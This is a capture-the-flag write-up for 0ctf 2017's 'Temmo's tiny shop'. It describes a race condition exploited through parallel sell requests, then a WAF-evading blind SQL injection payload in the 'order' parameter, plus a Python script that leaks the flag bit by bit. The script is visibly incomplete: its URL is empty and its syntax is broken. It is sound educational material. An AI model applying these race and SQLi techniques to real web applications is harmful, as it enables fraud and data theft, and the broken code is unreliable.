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0ctf 2017 - Temmo's tiny shop

!SpamAndHex - Hege

Temmo's tiny shop is a 3-paged web application. After registering one can purchase and sell goods from a predefined list, using a total of 4000 credits. The app also allows us to search our purchased items by name, and order them by any field.

shop ss

Notice the !HINT! item, costing more than our initial money. Also there is an info page, where we get funny messages for our purchases.

info ss

Obtaining !HINT!

Buying and seling takes a considerably long time, so assume that there is a race condition and try to exploit it. We made it simple: opened multiple sessions for the same user and buyed and sold items randomly. Clearly there was a race condition, so started pushing buttons systematically, trying to sell as much goods in parallel as possible. We quickly got enough credits to buy !HINT!, no automation was needed at all.

hint ss

OK! Now I will give some hint: you can get flag by use select flag from ce63e444b0d049e9c899c9a0336b3c59

Obtaining flag through SQLi

The search form uses Messing around with the parameters revealed the following:

  • There is a WAF
  • order param is vulnerable to SQLi

WAF rejects queries matching [^0-9a-zA-Z\(\)&]|()|union|user (and a few more keywords and possibly table names) with {"status":"fail","msg":"WAF seems don't like you."}.

We managed to leak bits of the flag by manipulating the order of the results:,1,if((select(ascii(substr(flag,{index},1))%26{mask})from(ce63e444b0d049e9c899c9a0336b3c59)),0,2))

So we leaked the flag bit by bit, and there you go: flag{r4ce_c0nditi0n_i5_excited}.

Code for the lazy:

import requests
import json

# the used account needs to have a Schrodinger's cat, an ice cream and nothing else

def extract_string(char_mask_intersects):
  flag = ""
    for index in range(1, 1000):
      char = 0
      for bit in range(8):
        mask = 1 << bit
        if char_mask_intersects(index, mask):
          char += mask
      if not char:
      char = chr(char)
      print("CHAR: " + char)
      flag += char
  except Exception as err:
  return flag

def bit_mask_in_flag(char_index, mask):
  url = (
    "" +
  ).format(char_index, mask)
  print("  requesting {},{}".format(char_index, mask))
  resp = requests.get(url, headers={
    "Cookie": "PHPSESSID=<populate this>"
  resp = json.loads(resp.text)
  return resp["goods"][0]["price"] != "300"

print("FLAG: " + extract_string(bit_mask_in_flag))